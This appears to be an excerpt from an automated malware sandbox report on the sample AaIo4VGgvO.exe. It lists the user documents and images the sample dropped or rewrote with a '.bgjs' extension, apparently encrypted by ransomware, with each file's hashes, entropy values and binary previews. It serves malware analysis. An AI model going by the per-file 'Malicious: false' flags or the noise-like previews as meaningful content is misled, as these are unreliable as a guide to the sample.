Preview:	UBVUN...e...$...UF..gc.... hT.D.5.....:..WtE6"..\u..B.H.....w$^X...!...%..>.].s...Sa......T..l.4..0...y.W..e.,H}&...g1...c}}....k.....l~...r........w+.......b...6........$l.y.M...5.;L....@.{."...J..w..........`....).X.L.\|.\@7zu..)...HDJ.."..!.'...q`...e~..$}..3N2.y3..)...90.w.H...(.&,t.h..F,..J...]....U^^.).k....K.2.....k.HJ..B5B.G#......#..2G. sA.@....w...I........N.^.K.'.....RK.....N..;.F.,......S.......].=k.Y.BXr...Er...kP...l.6..H.VO_!C........\...g.`g.7..@........Wv[O..Rqa5...^.. ..&....`.....A..&[.O.Cw....`.\|....w)).".S./\URG..f..uqi! ...u..J......6.S/s..W......<s.g..U.7..'.n^5..T....\.Zo..{.o..h...?.....:D.c...Y..}1.e.....7W.....\|.b....Z..8.%%.G..1.#I..IC......Z.LVD%0_y......Z.-.J.....;...d5.$vCH.R.;K\|.....xku.,.....B.^%.[.x....)Y.L0.O'.T$-.....j.z..s. .....\|..;<{.L..\|-....G.....s.x..K...x.....[..._A36.. .2...U4s..%...=./-S.GNg{.y..k..........x..........}...[...)[;.0..c.$v [.A....e...Y..^...&......-.X.....FG?...G(..Y...

C:\Users\user\Application Data\Microsoft\Windows\Recent\UMMBDNEQBN.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.828953057466789
Encrypted:	false
SSDEEP:	24:eH+LA5gCRHTkK08qiPep4ER7HJIljnqDPTO7EUfJjx4miD1RzhuabD:ee/CtTk78q6etH9Dbux14miDUYD
MD5:	E2857CD9C7B43A893A17FD43090F50DC
SHA1:	BFE4682526E07B40E78DA55E00F82125A42D5668
SHA-256:	22216012670C80A8EB96C2EDF01D12FBD6B6DA8AB6C321CBC1E6083A946D44FC
SHA-512:	A163AC411E7749A0CDDA38756705CEB7C8577D728229055989AFD881A07A138BD353B8B59081CA6E9E3A06B61570B17D74EF933854D45F63A557F1EC472586E1
Malicious:	false
Preview:	UMMBD...m.#.`k....O.2.y'g.iE% J...A..g9A....".v4.O...q..).QI.NA5..b3(.Z"`$b0.P[.[......J..+......y.E.VTHG....C......:..u8.#..JP.S_...^B...]..vuq-..F.Z...I.. ..#_.S..3dx....Z0....5...}S..>.....r:G\|c<....@>..q.o..&........6MH.'....}.x5.:._.E)!1m6x^b8...N.}....^k.}.Um0.w..k.eQ..+.=e$....l>o.4....r-.N...........ZHB_...=..~.(l<..b..T...Z....l...&)..e.....i...~.gid`.G.cq...p\|.M...H;.L....d.gs..F..(._....e......q..1.+...cmb..>...N.-..x-C.Ch..R.....H..#..6\....U..p]V.........._.v.."...A..........cipmX..s.....O.=............i.@...A....".E.X............Bx..-.\|u........O......[..c-.q;.i...~..AT...&w.5..cE@..~.#,U..._...&7z..U.<../.{.....he..M(qH39B..I...59OH....{.._..h%5-...mjM\|n...^.4;.9...F;...L^"(.vg.Y%...Z..6...ZB..(d...ujS.>..5y....2/......G.....5#.XY..........8./...).....?....#.VU.c......^%3....w.I...s.......]m..8...e...n.i..@.(..>2...Ow...d8.Ou..-..m...7.Q.\..?.'G.v..]o.W.....]..I.o.....Ys.......c....C....E...X.....(../.B.A..=. .....[xkU.i +s"4

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850449276611608
Encrypted:	false
SSDEEP:	24:lOEH9upWluGT+q9+ApNE6KqB1SvrMW9AUQ4U+D5By6VEwNAbD:lOEH9luGT+qkAN1SV3fcVD
MD5:	C53F06FD763A48BCBC4107945AAF9BB5
SHA1:	56663EAA5F1407EF85D80994F26E9245A4D9068D
SHA-256:	7854E3FB5098E964D876AD8CFA767FAF9A0850F98172453AD7CA20FEBEB586D9
SHA-512:	3C68E55CF1F1FE73DFBDFB528E92E8644E6935D86ECB00D2DC374C7311D39A69C2CA8C044C4154CDC84F931A535AF4B7C5BE20E5B7858FA58CA22B0DEE57E438
Malicious:	false
Preview:	VLZDG....`...ebT.z.z......^b...G...5nb.B.......@..W.y.w.{.C.T.......@..%......G.#.S1..o4.Q..B.o<./xQV=`#..v..5....[F...?n.;..I,k.0.H.h......).}^!.[.........#8.c...0M.....)./..3.....?.R@...o.@...._.t!m.-.FO<,.x,.x..&........Q..m..R....ie[.[W&$..\|...\..c......wD.a....zWuw;..s;.AT.x...J... ..#e........F1..~..&...OD%[q}....0..{...b.o....ZN\|........!.....n..pP..........9.6...9.G~gr.g9..!..B...;.B.L...s....45...1qai]\IV..f-.l=.P.....?o.(..n....<"...T..............O..n.lR.......8..0s...}...F+...[.a....n.d?.;...N..^....u..k].B/...0..s<..a~.....Z...=........u%.e..Wr...=..X!z.i]k..j..9..%.f5..<..}....u!h....)..-^..\..G`...`......;tz#.)~..D.......i~z"3.X4........t.Z.....g `.5.....A..2....J....a.y...1.........(..Rl...X.7..'t.e.Y$...........#T.......O.mW.@@O`.0."..j$"l.6o;.boq.tmG6..}.}...Ml.........Z..P...{...r.D...H.e.f.m.<.7..%.k..x.....).}.o.tK.x.h0..!T....c.p.....L..[O...!bG....ZKY..~..k...1.l.....a..x..3.x.....F8.>.....B.V.F.........=.j.

C:\Users\user\Application Data\Microsoft\Windows\Recent\VLZDGUKUTZ.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.839356797264087
Encrypted:	false
SSDEEP:	24:eLDHvSjOGMPSkIVdwuZydgaXf9LJNP3u6Yy73xR2KmmkRtKieBg94avhIbD:envnPSLodgif97JYy73xR2SBYvhSD
MD5:	C6F5434C9FB9930BB9A907EC0E857C79
SHA1:	9757F0AA6160FB51AE3842476E03485E9BA73A29
SHA-256:	4438570E74F3117E31162757984EB9577D220C290B9B43F1D70140971ADB834A
SHA-512:	3A11C688F01B1FE6745B0037DC364845FF0D2B3A1DFBC013698662060143396CFC77E57CAF55999717E4747AB78939F237635ABEBC55B5E28B619D3CC559B720
Malicious:	false
Preview:	VLZDGG...w..(...........5W.Fg......m.6A.....V29....8a....J...#Srw.-\h..r.._..>....\.Ze...1fA...U~...I.%cF....hy].B.1..m.'.3Y...n.,....n.R."..9....A..y0....\XT.vr..]..U7..D%.....@.~.zM.........y...(.w...GTQs..w.....o......H_1I..g........s.b..@.F.d\.U..6.m.C.D...lq.RP...\|.c......6..M.8.x(.5..._..;......ezi.F.f....`.Q..S.E~.xJ.h.0?.".S..xl..X......-......MT...C.z..g...................[;.....UZ.dh.3.......{...../.....i..Jr.."..O.?./.A.jzk."w.SJ....dnk...D. .)...0E."...Li....;..#....{Z.-...aI...xP..%R`8zT.H..FdM.(......G.......5..L..h.......'.ow.DO.....5Y..M.w.>.......G&.'5..s.}.4.Q.......:X....Y 0..-R.......M..4>..l.../l..x;3.#EV-....e.:..d3.l(....+.nFo..R\|........:)N.q.!.q&L...eZ.C.h.D.60.iB.....xf. v QXd..#.....O../.<...Rf\&j.]Kq}$.Gnh.q...?..3Vw.)h..]t..AH..o...u......2..n..V.....o..?[..Gn\|a...jtR7..z...,.P.[..........V..6...sV.y.Z.~....X.Od..u...P.O..t.".GD8..hT..o..jy.L....D..%O=~..D..\**....../..L...X&.J1\|Y....m.......]./a.~.....YaQ.}..

C:\Users\user\Application Data\Microsoft\Windows\Recent\XZXHAVGRAG.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853177062379824
Encrypted:	false
SSDEEP:	24:Uh228F3rqRgSzHriIHxlMhGVKBiDmlJnS400k+iPORmqwnyY9jqPbbD:UM3uRgDuJ9QnS4fxwqEsD
MD5:	6D342ECA7A21F9FA30D6831250730CA6
SHA1:	86945D52286FB25B69ADC5645306EA3647A0A4CE
SHA-256:	34C4DC40AFB4DD6A70256DA8B98E14591E4D7F31689A68E3C9EACC17E5FCB27A
SHA-512:	8BE256414DEA4E567F5E598775D4D86EF80E5BF5F6A44728ED6296F3C8285C223E7D7D9FA177F8FA3780E4044342D6B8D4D6E67B9DA19E88466AA6C0CE0F7EE6
Malicious:	false
Preview:	XZXHA.M?RT..G.....M.Y.VW.w..!\.L.]...Thw..--K..'j.>).5.m..X_.FR...Gj.....5V....G.]..8..k..C...uc..BXV......u%.z.&..z..V./..6.(.e.d]...f\..}.@.(...L....O..'.p.....(0<j...8....o..w........'r.X.....}.pME.dg.1.._......O.....{..s..x.O.Y.%..zC...H..n.i.=.P.n..m^..a.dxP=.!...3.I...:Z...4..G.t.;x3......+...\]!=..k....=....ZD.@.z...R...A..=.z.i..&k..M..d5y.s.._...d.....8=t.r....I.wIRsNp.q.R.........0....N...v.j.>pZ.9./...w.....z>e...)a..1......gW!.:=T...#....-V.xS.X.h..k.Vv...r...` .n....\|?.....V9.....@.+.........A..1....F...R...S..._.W..._...].O-.._^..Z.SM.Ck._.z.z.P.q......:..yd.s.+...G...e.T,_..].q.y.n.t....=v.5...m...4G.+..Z0C.i6..L7..$.o...2T....n....\|..xK6...kX-..`..cc..P....{....*8...a.`.../7.cl.......z..jJ...th...F..l.b....2T_v.e..f.d..g..GA.#.....0...x!.%...M.]3.'.tFU....fo+Yl.!...6jZ.b.c......V..Q.K.X..x..6B[.-.?iw..k.m!........CUO...{.......d_.s:w...L/L......?..:S..H.....:.....Z.:,..N.(T.g..r...I\.........q6......R_vzHi.:.V...]......

C:\Users\user\Application Data\Microsoft\Windows\Recent\XZXHAVGRAG.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85564285224228
Encrypted:	false
SSDEEP:	24:MAZNTdYrH/PoHVDMe0B4aTS10v80hJe0Sy6Vslo8BB9Rq+Pkn4m2bD:My7+/PolMe0GaTK90hJe0/1lrBBbDD
MD5:	20E8A355982B0197E4229FAEC7FE61AD
SHA1:	D6AB7946D5AF8A1974BABC558122033908D01A9C
SHA-256:	D8B3CE1F5671899CFE039C3963EF36FB8B2380212B341D8A866B3F9886A26239
SHA-512:	7DC26F008B68E7DDD1EF50749E7891F81B6C3A4A243ACD6CB2956CA519E56C07D26F0AAAC97C2F00908197BE234333B8BD8EEDC6DFEA25BA820DD10EF6ABEF90
Malicious:	false
Preview:	XZXHA..#V..8F_"<.....I...Ru....S.y....0....ck.q.......c..>.Glb....8.R....>..h...D......E.G.b.._K...CEU...G2Kb......@.+9...U.sa...a......%....%..c}&...$.W0........z.@.6#~.f..j..vn0...qz..n&k....[.;.b.B....U$.P..,p.."....3...'...E>).L...x-4.#p....&.\.W..@...:G.9..n...ido..v>..@Y..B.HY.....uNF@..'..).......^I."`p..'..u.u...)0....F....9......H.....:........A..Sa....k.V.H...&>G../....l.rz...C6.....Z..k\|....Ou>v..UB......[.i^sn(.grb.w[Q..OG.8F.\|..l\|..@.\|H..t....=..X}.G`.....3.t....=.q...E3.a;..ze..M...$H.......7..Q<L\|...&j.Q?.G\|.b.k.A..g8.....<k..x......,0YF.Zc9},...R3.z.6........ee\|..6.M.5X...'EJ.v..........0R.VY.1.~^6.Z..y..{...k...j_)....N..6#..[..-....+Q..O..%...i.B.h... .. .2.... ..0h'...HH\...R........'\|.B.Z4G../.U]Y...d.4.D.k.\|._..P..lDt[.".>.)^C..'y[...!.B.....u.}\...Z..Y.H...L.1./..G...{M.....vC.'.V.s...w....\j.....:..fg.-...:7.HX....b0/ .?.EP.(....CS]..B&q....B......O.=C...\|..tq..&`.M..L0.d..!.).i@...u.N.b.e.....T.e.$..*I......K....

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846534493685282
Encrypted:	false
SSDEEP:	24:5fg/WK2tE8XJN78RJQQOokXAaogZzTthmwLpe3dt7+LCrA7jvZt8Ndtvy+rRI5Mt:5IitzXJMOZocxPZVef7aVzP8nRkMnMUD
MD5:	7357B6A3097219A3EA3EB2FDDA31B49D
SHA1:	B8605B020366ADF8B1F6CD04EB087EDBB4DEAE14
SHA-256:	6FF2D2FCDBB07BE72C0448932D52ABA227DEA6CE4AA1142B0AFE973519D3E70F
SHA-512:	13636069448EEBE1C2E49263DA8EB71D3AC7D956C70102C611B7C960D1BEAC9574AE8BCCA3C3978BC85515AA6C6411FAA6B09AA21CBDEF4032D1E34AD8B0453F
Malicious:	false
Preview:	YPSIA{"(.Odmc...-A..6@.`..Z3..`........ij.D.{.'r...o_.M...c...w..j...<...H..@}.."[..39_...s.....B.A.x..N....3e.y...).FPJgB.w.N....D...)i.L.T.T.....wG..s.D...UV..s.q.^..IA.d..../..Q. ....X.......'.._.z.L.H.0.k..s........^X..^N..u.._n.....,.........`GYFb..M..f....J.S..T7w..O.~NGt......Lr+......<.2...X.R}~..I.R...\|@........\|.;...6...7..<j.....}.J...Dhp...23....."..z...V@?)>K`.}A<.J:..8+.PtO.+DX=..wkX..._.'.\|.Y.(fq_.....@.N2..]e&...?2...iI../g..wW.....f7...+..k....bQ...T!....t..........wn2...8..l+IV!.k..=...63...b...Q.F.x7..x.).3....M.kn...q.Wf....?..b...,.....`-#.....=W.....z.o.........b......zw.].....b....yv.$........i.......d.].b.B...].].q..y.k._.N..R...4K.5.I......%...q.Z.n..G=Qa...(%..z.E.t.:.o.$:.....?+.y3../]~A./z-.....O..G.1N._......?1.(.K./..+9./...v....D.Z:....\|.6F#j..P.N..Y...t.......Sg\O5.*L..l.~...&t.,...%..U.....x13...,M..-f..=,j.n.-.SD:.E.%.+VG.D.....K.+...N dnN.z.A....U.o...+.......K.y..h...vL......;E,<..i.."....hT.2k2.h....

C:\Users\user\Application Data\Microsoft\Windows\Recent\YPSIACHYXW.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868493526374118
Encrypted:	false
SSDEEP:	24:xz5B6Tg5+5PgJV+sq7crammb95k+0e4vlP6L71RyGPgVVxNwOTjQR92PK4EbD:x6T6VWorammUi4vlSLgTnTjQR9HD
MD5:	832AF1EADB83E38AF9A7B91E089A1315
SHA1:	9CC6E3FF35E340A3E362B226CABDEDD55E08B77D
SHA-256:	5E88BDD9DF618205CDA83657FA3AC33542C35B27D78BFB2C159BEC93E3C673B1
SHA-512:	EE2B299444FD8B4A2798388DFA200AE606FA3A52E8507D838CC927FDA0C5B839F8124BDF07A311E68CFC8BE1BF583C8F9FBFB014394B0000CA30D5174BCB3F24
Malicious:	false
Preview:	YPSIA.(.;1....{.i.L....Ey.Q..:.....X...I..x.$~7^...:...;.P..bs.C!......3]...5..>.N..#+...6...;e...h.RL....#..3_.r..F.5.....T......t.G^..b\...?.&R..oVP......@S.(..........M.../...ap{..Mr..).B-..@.V...:..c....vh.o.I.....?....d...~.d...?..ps..:...;.Zv.n.....e...._.T..yKQ...........L...u...8..a...:3;.`.L..'c..B...Y.FHy...k^....]......x6...GFL...._t.._.Q..}U.=.T&ZH%A..L.....C..0........W.>..C......^.U.hM......2...\|.r6....O.h&.t..ma..zS6D@......`...p..b.K.... .Tc,.E.......\|..s<..u.....Wo...x`f....b~..S.#]..&......45...t1.y$.....P\.n...3.4.K.y....}~.G..o..D.}..x..l.....3..q.ClMH.]AG....Kwd.XP.2ZN.+./8GHw'%..\|M0kc[..g......d...j>$q.E..R......x...+.I.....J.=9..#L..X..j=fc.y......R..4.2~..A.0.,D.@..v.*U...:...ZW./..#.k...!.,.Y..w..`...V3..n..:.D....F..E.....@.n.W..M.g.u..(Q;....R4>..e5....lO.Ei..a.G...... .W...o..tt.x..Z..d..:\|.i.Q..dR}.='..1x..z...D'.....Q........eB........$.Z7.9.3....ud,g=....c.. ...%...t...N0....../......{...=;vX.T.".<@(..C. ./S}.#...

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZBEDCJPBEY.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837610092057908
Encrypted:	false
SSDEEP:	24:wyUALbcF6dirwKHX4RvtfK54Z6hgcwhWFvvXBT4lqP3+Ta4tHmfEAjbD:SFHrwK349VKHhgsvvXBT4quTPQ3D
MD5:	B5D3CF2BB8799C41F88346A5E780976C
SHA1:	56DCDA0843999A7EFF0D966878C5E58D293F7D7D
SHA-256:	9B14488D4715687B09A6268F38EAF6B0708B60C01751892A80D3BDE5FA819B34
SHA-512:	2DC46E71506156A26B8EB7DC1191100235B8023A8648D75B4A04C363520A24391FA431871D10258CA2C925C28DB06AAF3D975CEFC060E1C350982B349B93FB30
Malicious:	false
Preview:	ZBEDCW.6....>.L......6..........\...T.HEA..%%ot....&..B.i...;.3M2.PJ8<.....F..n^.N.m.jA0.....b..E......\f.<f._..j>1..5oS..fq..WtP187K-.BI/.4..4.s.A.c....pU.x.n:..1.....x.H..G>...n...(.YWz.7....U...Sd.f.w....B..x.VF.;Y...M.8.....)/.......c"...c.nY...>WM.5..bT.`.._...N....~.. .....5:....OKF...y..RYa.M.P^9V].>....m.4.lH..;..C......./.m.n;..xb..+..e)..x...A..v..........O"iz...a.v...y..S.s...W.....&8.,..C..z...~.....r..'g.....V.[.....2..LYuN...}q\.z..>Yazl.d..yp.._@.o.l....G......x.....y..k..P.........I.9)...]...,jH....f...$.i.}AeH..p._..\s#3_.C.....3...$D.uA."YY.@@.,!.x!e...[...o...[^&.f.uS.g.......i....%..t gU...S...{9.P5s..X..B;q..cD.p.g.#.6d?....<..i..Ysd..PrC.p...Tk...._.....o....7..dca..9I...f.^.._..o..i.f../..pq.I.J..$.aV.....[.g...(...;q..N...@.S....G.....[.R{............_."'...&..S..R..cuCf....m..0..9Rn........J8....;...;..?...0.k\n..a5....y.j..Zc.u.)c._.0...M..e..}...5...D-.....H.s../...vM~.~....N..f.r.z.$Q.Mv..2p.:.."..&M...,<S3U

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZUYYDJDFVF.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852992374281825
Encrypted:	false
SSDEEP:	24:DkhfPbshzDshaQrzL7+9WTLLJSzFI+OT1uTfsQWYDtHbLbD:aKHsJCMLONMuTE+DdbvD
MD5:	18857A41440FD0B7387313836F43172F
SHA1:	23E31E3E9A37F87B4B1030C621C671364AB94CE7
SHA-256:	AED2D5E253FE59BFA0C8C2A52D82F0EDE0F38DA2B1A187C564EA6B01339FF3CE
SHA-512:	5E336C59D8F937F47EC08BED4EC21529CBB3616BAD08CE348AB6A925C6169A3A152BFFEA459B7559C30D6462D75E662FAF8EAC0185068189AD7375EB098D0754
Malicious:	false
Preview:	ZUYYD..OL=.H..{..t.e.C..g..A.x....5g...)(....:i..$'..+....5E...m.`.<\.PJ<.j.+...xJ.......\.3.........}Z.z...kr..P.......}.J+@S;..'.k.2.5.A..l..:.m.o.vO.}..d..W.....x.......>.U....t..o..#7a..Z3.ud{qj........).<.@.<....L.?P.~)M%.B.P.... . .SH..&@..x -..........}...a.6@j.VZ=C`.....0.......H..S..R.t./t.../..=X....2...U.Q].\......j\|..)..O}...g~.o~E........N.c....\|...[{...1H...T..qf.px.K.......4.,.8.v[x..R........$.BfYg\|........u.j...s....FltS..6..o..=)%.\|+1.. . <.4.d.c...R...J.....S.nz..q...h...3.N...c..35._4K.....gd..W.Jg........."...1...2g.3=.C..^.#nVh.)...l.3q..Z..Z7..Ly=.....S...}P{....+.vK1............Yg..+p....+. ^.H..x,X@O.+m.[......[..Vec?..\t6..........(G.\..E....w..2#<"le......MG....Q.4...r..Y..d.......:\..w......`.X...)..v'>RsR.YT.#d....fW..+.V.=./bR..G.....$....bd.E.D..px<...u.._L...>i.iX.cS"......I...8...K'y.. A..bm....`]....Z~.Uo....S....G.9.*V..'..K.a....(..:...X..\|.<L..!..V....[.e>)...}.....4v..A3.Ym5Y......$0.w.3.

C:\Users\user\Desktop\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868895884932235
Encrypted:	false
SSDEEP:	24:HEWtVjT/eUeiMHjZiVNyuzDhAbMgGficrwlspNFE2EljTCCPrVAbD:LtV+UevDZiFdx6cZpNFp2TCCpaD
MD5:	B518C32D80D0F913E5C50EFB2A2BA808
SHA1:	29D26C4A810E400D270C166E0500659F3657BA48
SHA-256:	963EE6402D2D17551714DC0A9BA60A52DDE3D814F36662F5F9B99E46C4EE9BA6
SHA-512:	5D3B0E108265FE0547AE7DB93753DEB99928AAD8473AC0DFD3DA165A1165F0C881959E539DFFB0F439343643E83156F8E0FA719EB43CEE6250F9E0078E7B64F9
Malicious:	false
Preview:	DTBZG1...5....c....^l!.u.....8......;D.4....W.@....iJ.vv.^H$e.c.R.%...`...]..27/.#..c)<..._.yy. TO.'1SX.(.]..V..Y..<.y.h.......O3. (.cH.]....G...KR.Aw.>W..A8?...,c.....%..J.O..........V.@A.`......m..=x:w....(..h.........L...[...co....vx.i=lo.U.H...fh.>.).....a........+.)..^.....Jt....Z....).3..9.j.Wk.h8#...,~..jpV...G...{S.-.d.RQ..^wg.eM.........-V4.I..L6.@.../~h.e..4..v...t:U?V..(.\H.)..V...@..v}#....JK%.zI2C.BX.......r...j.o....9s..v._O...5.#.>...).... ...b...bq....../.!.....`..N.}.....k).@.:.se3N.N.S0.gf.C,.b.B...[.K,....C..B..O.}.H.8........./0....VAW......+\|..r.v."...<.t=..!.1..z..>.\|....{....~4m..w%...H#.=...=./i.3_r.k3X../..M.O..pQ...?=...2u...Z....;....m.q......q^...i.Y-bA..yw.5...m........L..J.f..aRHi@.d..'...3T.O^.%&*C&c..3;uizQ.k....+....v....w.....A]A...%.......2...rNxgF.Kg..?L....7.]..@..WX..u=.E.E;c..(....~.....@.J.....mW6.3..)O.}nL..=x...zrn.".u.&".U.8..J..s_.0c....n...k.0.&.H...[.......F.d...\|e..........:s....o..q.{........!

C:\Users\user\Desktop\DTBZGIOOSO.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868895884932235
Encrypted:	false
SSDEEP:	24:HEWtVjT/eUeiMHjZiVNyuzDhAbMgGficrwlspNFE2EljTCCPrVAbD:LtV+UevDZiFdx6cZpNFp2TCCpaD
MD5:	B518C32D80D0F913E5C50EFB2A2BA808
SHA1:	29D26C4A810E400D270C166E0500659F3657BA48
SHA-256:	963EE6402D2D17551714DC0A9BA60A52DDE3D814F36662F5F9B99E46C4EE9BA6
SHA-512:	5D3B0E108265FE0547AE7DB93753DEB99928AAD8473AC0DFD3DA165A1165F0C881959E539DFFB0F439343643E83156F8E0FA719EB43CEE6250F9E0078E7B64F9
Malicious:	false
Preview:	DTBZG1...5....c....^l!.u.....8......;D.4....W.@....iJ.vv.^H$e.c.R.%...`...]..27/.#..c)<..._.yy. TO.'1SX.(.]..V..Y..<.y.h.......O3. (.cH.]....G...KR.Aw.>W..A8?...,c.....%..J.O..........V.@A.`......m..=x:w....(..h.........L...[...co....vx.i=lo.U.H...fh.>.).....a........+.)..^.....Jt....Z....).3..9.j.Wk.h8#...,~..jpV...G...{S.-.d.RQ..^wg.eM.........-V4.I..L6.@.../~h.e..4..v...t:U?V..(.\H.)..V...@..v}#....JK%.zI2C.BX.......r...j.o....9s..v._O...5.#.>...).... ...b...bq....../.!.....`..N.}.....k).@.:.se3N.N.S0.gf.C,.b.B...[.K,....C..B..O.}.H.8........./0....VAW......+\|..r.v."...<.t=..!.1..z..>.\|....{....~4m..w%...H#.=...=./i.3_r.k3X../..M.O..pQ...?=...2u...Z....;....m.q......q^...i.Y-bA..yw.5...m........L..J.f..aRHi@.d..'...3T.O^.%&*C&c..3;uizQ.k....+....v....w.....A]A...%.......2...rNxgF.Kg..?L....7.]..@..WX..u=.E.E;c..(....~.....@.J.....mW6.3..)O.}nL..=x...zrn.".u.&".U.8..J..s_.0c....n...k.0.&.H...[.......F.d...\|e..........:s....o..q.{........!

C:\Users\user\Documents\ONBQCLYSPU\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847842387745136
Encrypted:	false
SSDEEP:	24:VFo05UNJslxZUq9/FhS5ZLjbvAF/4tpqgVi0exv4HheQZassNR4bD:o05CJslxZUE7SzjbauVi0epchtZa3wD
MD5:	EBAB67386604395146DCD981202C8208
SHA1:	05E5A32702F63064D2AF6E2366D93462919C4EA5
SHA-256:	87363591F9CFFA4EEE82747D28DAAADF0DC77E06095264B15A92F96FA95B2DEA
SHA-512:	89E91AF021F890BFF78899F0238DD000EF90F121B7EEAB2BFFB6C886F8B93F049899FCC12A884168520BB88085ECC730CF774A9FDBC49EA6B627DA209AF97ED7
Malicious:	false
Preview:	KATAX.s3/f.Y..8i.`.,i....._..}..=.W.^..d..o{....s.Px.......d.e....2^.W3...&.Nv..3..d...7..6b..!......A.Im.._...<d.$+......m.....!..A.0..1..gk..iJ. ....a@?V.)g/..1h.e.....5...[...H....."..Z.K.wD...\|"....[A..uK...B.hE].\|J..L...<....3...{...&8!..;S..{..y.j`.?.S...9I..,7.aI....OV.W}...J...#....p.p..'.\|.F..jH:...`...0W.}...<-..:.g.J.&.o.I.Q..p.....I.C.?3.D...`..P>....8x..#.5.....R+.....%.....=..-...;...t...d..3'NlZ.....u..9.....f......9)D..P}..F)..d..D6Y....[..y.....y..iD.\|.".>.(......U...B..e.._t..'.h.T..aM.n.`...M....<....rp.]_.......B...g.,..&..Z. Y2.W.!s.vj~-{H)6...45. ..-......v.....[)F........Q^;....W..Yb2.......\|..S=.k..b.&..........;h.-......4.eF.Y.N.,..<r.Q..{...u.d....*5?.Wj...0,5[ .... ..K.....V.fhJ~!.>..9..L..(.%.....S9.[.U"+V..I..k...n..../.;.U..^!y..l..m..D.~"+P".....%..V\.(4w.q},i.T}2V.............l6^.<B...(6.-.....^g..~p.>].)...ZK..F...i..x.....}5.X...L.{..@.>r.4.9b.<./.W.Y\...NJ...._.St.D...Gm....`....k.!..5.....x.=j

C:\Users\user\Documents\ONBQCLYSPU\KATAXZVCPS.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847842387745136
Encrypted:	false
SSDEEP:	24:VFo05UNJslxZUq9/FhS5ZLjbvAF/4tpqgVi0exv4HheQZassNR4bD:o05CJslxZUE7SzjbauVi0epchtZa3wD
MD5:	EBAB67386604395146DCD981202C8208
SHA1:	05E5A32702F63064D2AF6E2366D93462919C4EA5
SHA-256:	87363591F9CFFA4EEE82747D28DAAADF0DC77E06095264B15A92F96FA95B2DEA
SHA-512:	89E91AF021F890BFF78899F0238DD000EF90F121B7EEAB2BFFB6C886F8B93F049899FCC12A884168520BB88085ECC730CF774A9FDBC49EA6B627DA209AF97ED7
Malicious:	false
Preview:	KATAX.s3/f.Y..8i.`.,i....._..}..=.W.^..d..o{....s.Px.......d.e....2^.W3...&.Nv..3..d...7..6b..!......A.Im.._...<d.$+......m.....!..A.0..1..gk..iJ. ....a@?V.)g/..1h.e.....5...[...H....."..Z.K.wD...\|"....[A..uK...B.hE].\|J..L...<....3...{...&8!..;S..{..y.j`.?.S...9I..,7.aI....OV.W}...J...#....p.p..'.\|.F..jH:...`...0W.}...<-..:.g.J.&.o.I.Q..p.....I.C.?3.D...`..P>....8x..#.5.....R+.....%.....=..-...;...t...d..3'NlZ.....u..9.....f......9)D..P}..F)..d..D6Y....[..y.....y..iD.\|.".>.(......U...B..e.._t..'.h.T..aM.n.`...M....<....rp.]_.......B...g.,..&..Z. Y2.W.!s.vj~-{H)6...45. ..-......v.....[)F........Q^;....W..Yb2.......\|..S=.k..b.&..........;h.-......4.eF.Y.N.,..<r.Q..{...u.d....*5?.Wj...0,5[ .... ..K.....V.fhJ~!.>..9..L..(.%.....S9.[.U"+V..I..k...n..../.;.U..^!y..l..m..D.~"+P".....%..V\.(4w.q},i.T}2V.............l6^.<B...(6.-.....^g..~p.>].)...ZK..F...i..x.....}5.X...L.{..@.>r.4.9b.<./.W.Y\...NJ...._.St.D...Gm....`....k.!..5.....x.=j

C:\Users\user\Documents\XZXHAVGRAG\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847253977711777
Encrypted:	false
SSDEEP:	24:ajbdg1Gk94xImrkdjXcggjEWp8KpRrmFzdBtQOiMQeu9i5lNfx0F8XmOmtQiH1nX:QZgMxImAeggjEYHpkTiaOKUa4pfPD
MD5:	2956557C64969150B1BB59B9557C10C4
